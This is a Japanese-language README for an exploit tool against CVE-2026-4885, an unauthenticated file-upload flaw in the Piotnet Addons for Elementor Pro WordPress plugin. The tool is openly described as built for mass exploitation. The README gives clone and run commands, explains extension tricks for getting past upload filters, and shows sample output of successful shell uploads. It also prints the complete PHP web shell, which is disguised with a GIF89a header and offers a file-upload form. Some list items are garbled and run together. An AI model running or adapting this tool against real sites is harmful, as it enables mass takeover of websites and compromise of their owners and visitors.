
Piotnet Addons for Elementor Pro <= 7.1.70 - 未認証の任意ファイルアップロード(フォームファイルアップロード経由)
Piotnet Addons for Elementor Pro ≤ 7.1.70 における、認証不要の任意ファイルアップロードによるリモートコード実行(RCE)を利用します。
このツールは大量悪用を目的として設計されています。ターゲットのリストを渡すと、自動的に以下の処理を実行します。
post_id、form_id、正しいアップロードフィールド名を抽出する高度な偵察.phtml、.php3、.php4、.phps、.pht、.php2)を試行し、不十分なフィルターをバイパスpafe_export_database 経由でアップロードしたシェルのURLを漏洩Logic_Internet という文字列を確認)し、URL を shells.txt に保存⚠️ 免責事項 このツールは教育目的および許可を得たセキュリティテスト専用です。 自分が所有していないシステムへの不正使用は違法です。
詳細な免責事項は Jenderal92 のカバーに記載されています。こちら で確認できます。
data-pafe-form-builder-field-name、data-elementor-id など)を解析https:// を自動追加/contact、/apply、/quote、/book-appointment など)wp-content/uploads/piotnet-addons-for-elementor/ と直接ルートパスの両方に一致requests ライブラリpip install requests
インストール
git clone https://github.com/Jenderal92/CVE-2026-4885.git
cd CVE-2026-4885
使用方法
targets.txt(または任意の名前)というファイルを作成し、1行に1つのURLを記述します。
https://example1.com
example2.com
http://vulnerable-site.org
python2 CVE-2026-4885.py targets.txt
スクリプトは以下を行います。
出力例
[*] Loaded built-in shell (598 bytes)
[*] scanning 25 pages...
[+] found form at https://target.com/contact | post_id=13 form_id=fa2c60e field=file
[*] post_id=13 form_id=fa2c60e field=file
[*] trying .phtml
[+] uploaded .phtml
[+] shell URL: https://target.com/wp-content/uploads/piotnet-addons-for-elementor/xxx-6a11e162a6099.phtml
[+] SHELL UPLOADED -> https://target.com/wp-content/uploads/piotnet-addons-for-elementor/xxx-6a11e162a6099.phtml
コマンドラインオプション(スクリプト内でカスタマイズ可能)
変数 説明 デフォルト値 TIMEOUT HTTP リクエストのタイムアウト 10 秒 MAX_THREADS 同時実行スレッド数 20 OUTPUT_FILE 成功したシェル URL の保存先 shells.txt EXT_LIST 試行するファイル拡張子 .phtml, .php3, .php4, .phps, .pht, .php2
これらはスクリプトの先頭部分を編集することで変更できます。
シェルペイロード
組み込みシェルは次のとおりです。
GIF89a;
<?php
echo 'Logic_Internet'.'<br>'.'Uname:'.php_uname().'<br>'.$cwd = getcwd();
Echo '<center> <form method="post" target="_self" enctype="multipart/form-data"> <input type="file" size="20" name="uploads" /> <input type="submit" value="upload" /> </form> </center>'.'<br>';
if (!empty ($_FILES['uploads'])) {
move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);
Echo "<script>alert('upload Done');</script><b>Uploaded !!!</b><br>name : ".$_FILES['uploads']['name']."<br>size : ".$_FILES['uploads']['size']."<br>type : ".$_FILES['uploads']['type'];
}
?>
仕組み
?ver= を検索します。トラブルシューティング
Windows での UnicodeEncodeError
スクリプトには非 ASCII 文字を処理する safe_unicode() 関数が既に含まれています。それでもエラーが発生する場合は、ターミナルが UTF-8 をサポートしていることを確認してください。
chcp 65001
フォームが見つからない / すべての拡張子が失敗する
漏洩は失敗するがアップロードは成功する
法的・倫理的利用